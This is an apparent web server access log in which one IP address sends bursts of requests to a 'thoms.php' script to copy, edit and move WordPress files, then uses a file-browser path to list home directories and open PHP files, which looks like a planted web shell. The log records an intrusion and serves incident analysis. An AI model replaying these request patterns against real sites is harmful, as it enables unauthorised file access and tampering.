45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Freadme.html&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 18757 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2Fhome%2F HTTP/1.1" 200 5828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?edit=wp-load.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 28461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11053 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7980 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&option=folder HTTP/1.1" 200 6477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&option=file HTTP/1.1" 200 6478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2F HTTP/1.1" 200 7824 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2F HTTP/1.1" 200 8382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /bfl.com.tw/queue-failed/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw%2Fqueue-failed%2F HTTP/1.1" 200 6578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
